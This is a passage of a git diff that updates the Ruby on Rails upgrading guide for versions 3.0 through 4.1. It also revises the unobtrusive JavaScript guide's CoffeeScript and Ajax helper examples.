+doing so.
+
+### Mutator methods called on Relation
+
+`Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
+to an `Array` by calling `#to_a` before using these methods.
+
+It intends to prevent odd bugs and confusion in code that call mutator
+methods directly on the `Relation`.
+
+```ruby
+# Instead of this
+Author.where(name: 'Hank Moody').compact!
+
+# Now you have to do this
+authors = Author.where(name: 'Hank Moody').to_a
+authors.compact!
+```
+
+### Changes on Default Scopes
+
+Default scopes are no longer overridden by chained conditions.
+
+In previous versions when you defined a `default_scope` in a model
+it was overridden by chained conditions in the same field. Now it
+is merged like any other scope.
+
+Before:
+
+```ruby
+class User < ActiveRecord::Base
+ default_scope { where state: 'pending' }
+ scope :active, -> { where state: 'active' }
+ scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+After:
+
+```ruby
+class User < ActiveRecord::Base
+ default_scope { where state: 'pending' }
+ scope :active, -> { where state: 'active' }
+ scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+```
+
+To get the previous behavior it is needed to explicitly remove the
+`default_scope` condition using `unscoped`, `unscope`, `rewhere` or
+`except`.
+
+```ruby
+class User < ActiveRecord::Base
+ default_scope { where state: 'pending' }
+ scope :active, -> { unscope(where: :state).where(state: 'active') }
+ scope :inactive, -> { rewhere state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.inactive
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+### Rendering content from string
+
+Rails 4.1 introduces `:plain`, `:html`, and `:body` options to `render`. Those
+options are now the preferred way to render string-based content, as it allows
+you to specify which content type you want the response sent as.
+
+* `render :plain` will set the content type to `text/plain`
+* `render :html` will set the content type to `text/html`
+* `render :body` will *not* set the content type header.
+
+From the security standpoint, if you don't expect to have any markup in your
+response body, you should be using `render :plain` as most browsers will escape
+unsafe content in the response for you.
+
+We will be deprecating the use of `render :text` in a future version. So please
+start using the more precise `:plain`, `:html`, and `:body` options instead.
+Using `render :text` may pose a security risk, as the content is sent as
+`text/html`.
+
+### PostgreSQL json and hstore datatypes
+
+Rails 4.1 will map `json` and `hstore` columns to a string-keyed Ruby `Hash`.
+In earlier versions, a `HashWithIndifferentAccess` was used. This means that
+symbol access is no longer supported. This is also the case for
+`store_accessors` based on top of `json` or `hstore` columns. Make sure to use
+string keys consistently.
+
+### Explicit block use for `ActiveSupport::Callbacks`
+
+Rails 4.1 now expects an explicit block to be passed when calling
+`ActiveSupport::Callbacks.set_callback`. This change stems from
+`ActiveSupport::Callbacks` being largely rewritten for the 4.1 release.
+
+```ruby
+# Previously in Rails 4.0
+set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff }
+
+# Now in Rails 4.1
+set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }
+```
+
+Upgrading from Rails 3.2 to Rails 4.0
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.
The following changes are meant for upgrading your application to Rails 4.0.
+### HTTP PATCH
+
+Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful
+resource is declared in `config/routes.rb`. The `update` action is still used,
+and `PUT` requests will continue to be routed to the `update` action as well.
+So, if you're using only the standard RESTful routes, no changes need to be made:
+
+```ruby
+resources :users
+```
+
+```erb
+<%= form_for @user do |f| %>
+```
+
+```ruby
+class UsersController < ApplicationController
+ def update
+ # No change needed; PATCH will be preferred, and PUT will still work.
+ end
+end
+```
+
+However, you will need to make a change if you are using `form_for` to update
+a resource in conjunction with a custom route using the `PUT` HTTP method:
+
+```ruby
+resources :users, do
+ put :update_name, on: :member
+end
+```
+
+```erb
+<%= form_for [ :update_name, @user ] do |f| %>
+```
+
+```ruby
+class UsersController < ApplicationController
+ def update_name
+ # Change needed; form_for will try to use a non-existent PATCH route.
+ end
+end
+```
+
+If the action is not being used in a public API and you are free to change the
+HTTP method, you can update your route to use `patch` instead of `put`:
+
+`PUT` requests to `/users/:id` in Rails 4 get routed to `update` as they are
+today. So, if you have an API that gets real PUT requests it is going to work.
+The router also routes `PATCH` requests to `/users/:id` to the `update` action.
+
+```ruby
+resources :users do
+ patch :update_name, on: :member
+end
+```
+
+If the action is being used in a public API and you can't change to HTTP method
+being used, you can update your form to use the `PUT` method instead:
+
+```erb
+<%= form_for [ :update_name, @user ], method: :put do |f| %>
+```
+
+For more on PATCH and why this change was made, see [this post](http://weblog.rubyonrails.org/2012/2/26/edge-rails-patch-is-the-new-primary-http-method-for-updates/)
+on the Rails blog.
+
+#### A note about media types
+
+The errata for the `PATCH` verb [specifies that a 'diff' media type should be
+used with `PATCH`](http://www.rfc-editor.org/errata_search.php?rfc=5789). One
+such format is [JSON Patch](http://tools.ietf.org/html/rfc6902). While Rails
+does not support JSON Patch natively, it's easy enough to add support:
+
+```
+# in your controller
+def update
+ respond_to do |format|
+ format.json do
+ # perform a partial update
+ @article.update params[:article]
+ end
+
+ format.json_patch do
+ # perform sophisticated change
+ end
+ end
+end
+
+# In config/initializers/json_patch.rb:
+Mime::Type.register 'application/json-patch+json', :json_patch
+```
+
+As JSON Patch was only recently made into an RFC, there aren't a lot of great
+Ruby libraries yet. Aaron Patterson's
+[hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have
+full support for the last few changes in the specification.
+
+### Gemfile
+
+Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that
+line from your Gemfile when upgrading. You should also update your application
+file (in `config/application.rb`):
+
+```ruby
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(:default, Rails.env)
+```
+
### vendor/plugins
Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
-### Identity Map
+### Active Record
-Rails 4.0 has removed the identity map from Active Record, due to [some inconsistencies with associations](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: `config.active_record.identity_map`.
+* Rails 4.0 has removed the identity map from Active Record, due to [some inconsistencies with associations](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: `config.active_record.identity_map`.
-### Active Record
+* The `delete` method in collection associations can now receive `Fixnum` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them.
+
+* In Rails 4.0 when a column or a table is renamed the related indexes are also renamed. If you have migrations which rename the indexes, they are no longer needed.
+
+* Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`.
+
+* When using the default coder, assigning `nil` to a serialized attribute will save it
+to the database as `NULL` instead of passing the `nil` value through YAML (`"--- \n...\n"`).
-The `delete` method in collection associations can now receive `Fixnum` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them.
+* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) for a smooth upgrade path.
-Rails 4.0 has changed how orders get stacked in `ActiveRecord::Relation`. In previous versions of rails new order was applied after previous defined order. But this is no long true. Check [Active Record Query guide](active_record_querying.html#ordering) for more information.
+* If you are not using Protected Attributes, you can remove any options related to
+this gem such as `whitelist_attributes` or `mass_assignment_sanitizer` options.
-Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. Now you shouldn't use instance methods, it's deprecated. You must change them, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`.
+* Rails 4.0 requires that scopes use a callable object such as a Proc or lambda:
+
+```ruby
+ scope :active, where(active: true)
+
+ # becomes
+ scope :active, -> { where active: true }
+```
+
+* Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`.
+
+* Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`.
+
+* Rails 4.0 has deprecated the old-style hash based finder API. This means that
+ methods which previously accepted "finder options" no longer do. For example, `Book.find(:all, conditions: { name: '1984' })` has been deprecated in favor of `Book.where(name: '1984')`
+
+* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated.
+ Here's how you can handle the changes:
+
+ * `find_all_by_...` becomes `where(...)`.
+ * `find_last_by_...` becomes `where(...).last`.
+ * `scoped_by_...` becomes `where(...)`.
+ * `find_or_initialize_by_...` becomes `find_or_initialize_by(...)`.
+ * `find_or_create_by_...` becomes `find_or_create_by(...)`.
+
+* Note that `where(...)` returns a relation, not an array like the old finders. If you require an `Array`, use `where(...).to_a`.
+
+* These equivalent methods may not execute the same SQL as the previous implementation.
+
+* To re-enable the old finders, you can use the [activerecord-deprecated_finders gem](https://github.com/rails/activerecord-deprecated_finders).
+
+### Active Resource
+
+Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your Gemfile.
### Active Model
-Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`.
-Now when confirmation validations fail the error will be attached to
-`:#{attribute}_confirmation` instead of `attribute`.
+* Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`. Now when confirmation validations fail, the error will be attached to `:#{attribute}_confirmation` instead of `attribute`.
-Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default
-value to `false`. Now, Active Model Serializers and Active Record objects have the
-same default behaviour. This means that you can comment or remove the following option
-in the `config/initializers/wrap_parameters.rb` file:
+* Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behavior. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file:
```ruby
# Disable root element in JSON by default.
@@ -71,20 +806,59 @@ in the `config/initializers/wrap_parameters.rb` file:
### Action Pack
-There is an upgrading cookie store `UpgradeSignatureToEncryptionCookieStore` which helps you upgrading apps that use `CookieStore` to the new default `EncryptedCookieStore`. To use this CookieStore set `Myapp::Application.config.session_store :upgrade_signature_to_encryption_cookie_store, key: '_myapp_session'` in `config/initializers/session_store.rb`. Additionally, add `Myapp::Application.config.secret_key_base = 'some secret'` in config/initializers/secret_token.rb (use `rake secret` to generate a value). Do not remove `Myapp::Application.config.secret_token = 'some secret'`.
+* Rails 4.0 introduces `ActiveSupport::KeyGenerator` and uses this as a base from which to generate and verify signed cookies (among other things). Existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`.
+
+```ruby
+ # config/initializers/secret_token.rb
+ Myapp::Application.config.secret_token = 'existing secret token'
+ Myapp::Application.config.secret_key_base = 'new secret key base'
+```
+
+Please note that you should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new `secret_key_base` in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing `secret_token` in place, not set the new `secret_key_base`, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise complete.
+
+If you are relying on the ability for external applications or Javascript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set `secret_key_base` until you have decoupled these concerns.
+
+* Rails 4.0 encrypts the contents of cookie-based sessions if `secret_key_base` has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty.
+
+Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies.
-Rails 4.0 removed the `ActionController::Base.asset_path` option. Use the assets pipeline feature.
+* Rails 4.0 removed the `ActionController::Base.asset_path` option. Use the assets pipeline feature.
-Rails 4.0 has deprecated `ActionController::Base.page_cache_extension` option. Use
-`ActionController::Base.default_static_extension` instead.
+* Rails 4.0 has deprecated `ActionController::Base.page_cache_extension` option. Use `ActionController::Base.default_static_extension` instead.
-Rails 4.0 has removed Action and Page caching from Action Pack. You will need to
-add the `actionpack-action_caching` gem in order to use `caches_action` and
-the `actionpack-page_caching` to use `caches_pages` in your controllers.
+* Rails 4.0 has removed Action and Page caching from Action Pack. You will need to add the `actionpack-action_caching` gem in order to use `caches_action` and the `actionpack-page_caching` to use `caches_pages` in your controllers.
-Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`.
+* Rails 4.0 has removed the XML parameters parser. You will need to add the `actionpack-xml_parser` gem if you require this feature.
-Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example:
+* Rails 4.0 changes the default memcached client from `memcache-client` to `dalli`. To upgrade, simply add `gem 'dalli'` to your `Gemfile`.
+
+* Rails 4.0 deprecates the `dom_id` and `dom_class` methods in controllers (they are fine in views). You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature.
+
+* Rails 4.0 deprecates the `:confirm` option for the `link_to` helper. You should
+instead rely on a data attribute (e.g. `data: { confirm: 'Are you sure?' }`).
+This deprecation also concerns the helpers based on this one (such as `link_to_if`
+or `link_to_unless`).
+
+* Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`.
+
+* Rails 4.0 raises an `ArgumentError` if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the `resources` method. Here are two examples that clash with routes named `example_path`:
+
+```ruby
+ get 'one' => 'test#example', as: :example
+ get 'two' => 'test#example', as: :example
+```
+
+```ruby
+ resources :examples
+ get 'clashing/:id' => 'test#example', as: :example
+```
+
+In the first case, you can simply avoid using the same name for multiple
+routes. In the second, you can use the `only` or `except` options provided by
+the `resources` method to restrict the routes created as detailed in the
+[Routing Guide](routing.html#restricting-the-routes-created).
+
+* Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example:
```ruby
get Rack::Utils.escape('ã“ã‚“ã«ã¡ã¯'), controller: 'welcome', action: 'index'
@@ -96,31 +870,91 @@ becomes
get 'ã“ã‚“ã«ã¡ã¯', controller: 'welcome', action: 'index'
```
+* Rails 4.0 requires that routes using `match` must specify the request method. For example:
+
+```ruby
+ # Rails 3.x
+ match '/' => 'root#index'
+
+ # becomes
+ match '/' => 'root#index', via: :get
+
+ # or
+ get '/' => 'root#index'
+```
+
+* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`.
+
+Remember you must also remove any references to the middleware from your application code, for example:
+
+```ruby
+# Raise exception
+config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport)
+```
+
+Also check your environment settings for `config.action_dispatch.best_standards_support` and remove it if present.
+
+* In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from `vendor/assets` and `lib/assets`. Rails application and engine developers should put these assets in `app/assets` or configure `config.assets.precompile`.
+
+* In Rails 4.0, `ActionController::UnknownFormat` is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides.
+
+* In Rails 4.0, a generic `ActionDispatch::ParamsParser::ParseError` exception is raised when `ParamsParser` fails to parse request params. You will want to rescue this exception instead of the low-level `MultiJson::DecodeError`, for example.
+
+* In Rails 4.0, `SCRIPT_NAME` is properly nested when engines are mounted on an app that's served from a URL prefix. You no longer have to set `default_url_options[:script_name]` to work around overwritten URL prefixes.
+
+* Rails 4.0 deprecated `ActionController::Integration` in favor of `ActionDispatch::Integration`.
+* Rails 4.0 deprecated `ActionController::IntegrationTest` in favor of `ActionDispatch::IntegrationTest`.
+* Rails 4.0 deprecated `ActionController::PerformanceTest` in favor of `ActionDispatch::PerformanceTest`.
+* Rails 4.0 deprecated `ActionController::AbstractRequest` in favor of `ActionDispatch::Request`.
+* Rails 4.0 deprecated `ActionController::Request` in favor of `ActionDispatch::Request`.
+* Rails 4.0 deprecated `ActionController::AbstractResponse` in favor of `ActionDispatch::Response`.
+* Rails 4.0 deprecated `ActionController::Response` in favor of `ActionDispatch::Response`.
+* Rails 4.0 deprecated `ActionController::Routing` in favor of `ActionDispatch::Routing`.
+
### Active Support
-Rails 4.0 Removed the `j` alias for `ERB::Util#json_escape` since `j` is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`.
+Rails 4.0 removes the `j` alias for `ERB::Util#json_escape` since `j` is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`.
### Helpers Loading Order
-The loading order of helpers from more than one directory has changed in Rails 4.0. Previously, helpers from all directories were gathered and then sorted alphabetically. After upgrade to Rails 4.0 helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use `helpers_path` parameter, this change will only impact the way of loading helpers from engines. If you rely on the fact that particular helper from engine loads before or after another helper from application or another engine, you should check if correct methods are available after upgrade. If you would like to change order in which engines are loaded, you can use `config.railties_order=` method.
+The order in which helpers from more than one directory are loaded has changed in Rails 4.0. Previously, they were gathered and then sorted alphabetically. After upgrading to Rails 4.0, helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use the `helpers_path` parameter, this change will only impact the way of loading helpers from engines. If you rely on the ordering, you should check if correct methods are available after upgrade. If you would like to change the order in which engines are loaded, you can use `config.railties_order=` method.
+
+### Active Record Observer and Action Controller Sweeper
+
+`ActiveRecord::Observer` and `ActionController::Caching::Sweeper` have been extracted to the `rails-observers` gem. You will need to add the `rails-observers` gem if you require these features.
+
+### sprockets-rails
+
+* `assets:precompile:primary` and `assets:precompile:all` have been removed. Use `assets:precompile` instead.
+* The `config.assets.compress` option should be changed to `config.assets.js_compressor` like so for instance:
+
+```ruby
+config.assets.js_compressor = :uglifier
+```
+
+### sass-rails
+
+* `asset-url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`.
Upgrading from Rails 3.1 to Rails 3.2
-------------------------------------
-If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
+If your application is currently on any version of Rails older than 3.1.x, you
+should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
-The following changes are meant for upgrading your application to Rails 3.2.2, the latest 3.2.x version of Rails.
+The following changes are meant for upgrading your application to the latest
+3.2.x version of Rails.
### Gemfile
Make the following changes to your `Gemfile`.
```ruby
-gem 'rails', '= 3.2.2'
+gem 'rails', '3.2.18'
group :assets do
- gem 'sass-rails', '~> 3.2.3'
- gem 'coffee-rails', '~> 3.2.1'
+ gem 'sass-rails', '~> 3.2.6'
+ gem 'coffee-rails', '~> 3.2.2'
gem 'uglifier', '>= 1.0.3'
end
```
@@ -151,26 +985,30 @@ config.active_record.mass_assignment_sanitizer = :strict
Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+### Active Record
+
+Option `:dependent => :restrict` has been removed from `belongs_to`. If you want to prevent deleting the object if there are any associated objects, you can set `:dependent => :destroy` and return `false` after checking for existence of association from any of the associated object's destroy callbacks.
+
Upgrading from Rails 3.0 to Rails 3.1
-------------------------------------
If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.
-The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.
+The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails.
### Gemfile
Make the following changes to your `Gemfile`.
```ruby
-gem 'rails', '= 3.1.3'
+gem 'rails', '3.1.12'
gem 'mysql2'
# Needed for the new asset pipeline
group :assets do
- gem 'sass-rails', "~> 3.1.5"
- gem 'coffee-rails', "~> 3.1.1"
- gem 'uglifier', ">= 1.0.3"
+ gem 'sass-rails', '~> 3.1.7'
+ gem 'coffee-rails', '~> 3.1.1'
+ gem 'uglifier', '>= 1.0.3'
end
# jQuery is the default JavaScript library in Rails 3.1
@@ -238,7 +1076,7 @@ You can help test performance with these additions to your test environment:
```ruby
# Configure static asset server for tests with Cache-Control for performance
config.serve_static_assets = true
-config.static_cache_control = "public, max-age=3600"
+config.static_cache_control = 'public, max-age=3600'
```
### config/initializers/wrap_parameters.rb
@@ -273,7 +1111,7 @@ AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW'
or
```bash
-$ rake db:sessions:clear
+$ bin/rake db:sessions:clear
```
### Remove :cache and :concat options in asset helpers references in views
diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md
index 0f5acfba3c..7c3fd9f69d 100644
--- a/guides/source/working_with_javascript_in_rails.md
+++ b/guides/source/working_with_javascript_in_rails.md
@@ -51,7 +51,7 @@ with an id of `results`.
Rails provides quite a bit of built-in support for building web pages with this
technique. You rarely have to write this code yourself. The rest of this guide
-will show you how Rails can help you write web sites in this manner, but it's
+will show you how Rails can help you write websites in this way, but it's
all built on top of this fairly simple technique.
Unobtrusive JavaScript
@@ -66,37 +66,38 @@ Here's the simplest way to write JavaScript. You may see it referred to as
'inline JavaScript':
```html
-<a href="#" onclick="alert('Hello, world.')">Here</a>
+<a href="#" onclick="this.style.backgroundColor='#990000'">Paint it red</a>
```
-
-When clicked, the alert will trigger. Here's the problem: what happens when
-we have lots of JavaScript we want to execute on a click?
+When clicked, the link background will become red. Here's the problem: what
+happens when we have lots of JavaScript we want to execute on a click?
```html
-<a href="#" onclick="function fib(n){return n<2?n:fib(n-1)+fib(n-2);};alert('fib of 15 is: ' + fib(15) + '.');">Calculate</a>
+<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';">Paint it green</a>
```
Awkward, right? We could pull the function definition out of the click handler,
and turn it into CoffeeScript:
```coffeescript
-fib = (n) ->
- (if n < 2 then n else fib(n - 1) + fib(n - 2))
+paintIt = (element, backgroundColor, textColor) ->
+ element.style.backgroundColor = backgroundColor
+ if textColor?
+ element.style.color = textColor
```
And then on our page:
```html
-<a href="#" onclick="alert('fib of 15 is: ' + fib(15) + '.');">Calculate</a>
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
```
That's a little bit better, but what about multiple links that have the same
effect?
```html
-<a href="#" onclick="alert('fib of 16 is: ' + fib(16) + '.');">Calculate</a>
-<a href="#" onclick="alert('fib of 17 is: ' + fib(17) + '.');">Calculate</a>
-<a href="#" onclick="alert('fib of 18 is: ' + fib(18) + '.');">Calculate</a>
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+<a href="#" onclick="paintIt(this, '#009900', '#FFFFFF')">Paint it green</a>
+<a href="#" onclick="paintIt(this, '#000099', '#FFFFFF')">Paint it blue</a>
```
Not very DRY, eh? We can fix this by using events instead. We'll add a `data-*`
@@ -104,19 +105,23 @@ attribute to our link, and then bind a handler to the click event of every link
that has that attribute:
```coffeescript
-fib = (n) ->
- (if n < 2 then n else fib(n - 1) + fib(n - 2))
-
-$(document).ready ->
- $("a[data-fib]").click (e) ->
- count = $(this).data("fib")
- alert "fib of #{count} is: #{fib(count)}."
-
-... later ...
-
-<a href="#" data-fib="15">Calculate</a>
-<a href="#" data-fib="16">Calculate</a>
-<a href="#" data-fib="17">Calculate</a>
+paintIt = (element, backgroundColor, textColor) ->
+ element.style.backgroundColor = backgroundColor
+ if textColor?
+ element.style.color = textColor
+
+$ ->
+ $("a[data-background-color]").click (e) ->
+ e.preventDefault()
+
+ backgroundColor = $(this).data("background-color")
+ textColor = $(this).data("text-color")
+ paintIt(this, backgroundColor, textColor)
+```
+```html
+<a href="#" data-background-color="#990000">Paint it red</a>
+<a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a>
+<a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a>
```
We call this 'unobtrusive' JavaScript because we're no longer mixing our
@@ -153,7 +158,7 @@ is a helper that assists with writing forms. `form_for` takes a `:remote`
option. It works like this:
```erb
-<%= form_for(@post, remote: true) do |f| %>
+<%= form_for(@article, remote: true) do |f| %>
...
<% end %>
```
@@ -161,12 +166,12 @@ option. It works like this:
This will generate the following HTML:
```html
-<form accept-charset="UTF-8" action="/posts" class="new_post" data-remote="true" id="new_post" method="post">
+<form accept-charset="UTF-8" action="/articles" class="new_article" data-remote="true" id="new_article" method="post">
...
</form>
```
-Note the `data-remote='true'`. Now, the form will be submitted by Ajax rather
+Note the `data-remote="true"`. Now, the form will be submitted by Ajax rather
than by the browser's normal submit mechanism.
You probably don't want to just sit there with a filled out `<form>`, though.
@@ -175,14 +180,14 @@ bind to the `ajax:success` event. On failure, use `ajax:error`. Check it out:
```coffeescript
$(document).ready ->
- $("#new_post").on("ajax:success", (e, data, status, xhr) ->
- $("#new_post").append xhr.responseText
- ).bind "ajax:error", (e, xhr, status, error) ->
- $("#new_post").append "<p>ERROR</p>"
+ $("#new_article").on("ajax:success", (e, data, status, xhr) ->
+ $("#new_article").append xhr.responseText
+ ).on "ajax:error", (e, xhr, status, error) ->
+ $("#new_article").append "<p>ERROR</p>"
```
Obviously, you'll want to be a bit more sophisticated than that, but it's a
-start.
+start. You can see more about the events [in the jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki/ajax).
### form_tag
@@ -191,7 +196,17 @@ is very similar to `form_for`. It has a `:remote` option that you can use like
this:
```erb
-<%= form_tag('/posts', remote: true) %>
+<%= form_tag('/articles', remote: true) do %>
+ ...
+<% end %>
+```
+
+This will generate the following HTML:
+
+```html
+<form accept-charset="UTF-8" action="/articles" data-remote="true" method="post">
+ ...
+</form>
```
Everything else is the same as `form_for`. See its documentation for full
@@ -204,30 +219,29 @@ is a helper that assists with generating links. It has a `:remote` option you
can use like this:
```erb
-<%= link_to "first post", @post, remote: true %>
+<%= link_to "an article", @article, remote: true %>
```
which generates
```html
-<a href="/posts/1" data-remote="true">a post</a>
+<a href="/articles/1" data-remote="true">an article</a>
```
You can bind to the same Ajax events as `form_for`. Here's an example. Let's
-assume that we have a resource `/fib/:n` that calculates the `n`th Fibonacci
-number. We would generate some HTML like this:
+assume that we have a list of articles that can be deleted with just one
+click. We would generate some HTML like this:
```erb
-<%= link_to "Calculate", "/fib/15", remote: true, data: { fib: 15 } %>
+<%= link_to "Delete article", @article, remote: true, method: :delete %>
```
and write some CoffeeScript like this:
```coffeescript
-$(document).ready ->
- $("a[data-fib]").on "ajax:success", (e, data, status, xhr) ->
- count = $(this).data("fib")
- alert "fib of #{count} is: #{data}."
+$ ->
+ $("a[data-remote]").on "ajax:success", (e, data, status, xhr) ->
+ alert "The article was deleted."
```
### button_to
@@ -235,14 +249,14 @@ $(document).ready ->
[`button_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) is a helper that helps you create buttons. It has a `:remote` option that you can call like this:
```erb
-<%= button_to "A post", @post, remote: true %>
+<%= button_to "An article", @article, remote: true %>
```
this generates
```html
-<form action="/posts/1" class="button_to" data-remote="true" method="post">
- <div><input type="submit" value="A post"></div>
+<form action="/articles/1" class="button_to" data-remote="true" method="post">
+ <div><input type="submit" value="An article"></div>
</form>
```
@@ -276,9 +290,7 @@ The index view (`app/views/users/index.html.erb`) contains:
<b>Users</b>
<ul id="users">
-<% @users.each do |user| %>
- <%= render user %>
-<% end %>
+<%= render @users %>
</ul>
<br>
@@ -299,10 +311,10 @@ The `app/views/users/_user.html.erb` partial contains the following:
The top portion of the index page displays the users. The bottom portion
provides a form to create a new user.
-The bottom form will call the create action on the Users controller. Because
+The bottom form will call the `create` action on the `UsersController`. Because
the form's remote option is set to true, the request will be posted to the
-users controller as an Ajax request, looking for JavaScript. In order to
-service that request, the create action of your controller would look like
+`UsersController` as an Ajax request, looking for JavaScript. In order to
+serve that request, the `create` action of your controller would look like
this:
```ruby
@@ -392,3 +404,4 @@ Here are some helpful links to help you learn even more:
* [jquery-ujs list of external articles](https://github.com/rails/jquery-ujs/wiki/External-articles)
* [Rails 3 Remote Links and Forms: A Definitive Guide](http://www.alfajango.com/blog/rails-3-remote-links-and-forms/)
* [Railscasts: Unobtrusive JavaScript](http://railscasts.com/episodes/205-unobtrusive-javascript)
+* [Railscasts: Turbolinks](http://railscasts.com/episodes/390-turbolinks)
diff --git a/guides/w3c_validator.rb b/guides/w3c_validator.rb
index 6ef3df45a9..71f044b9c4 100644
--- a/guides/w3c_validator.rb
+++ b/guides/w3c_validator.rb
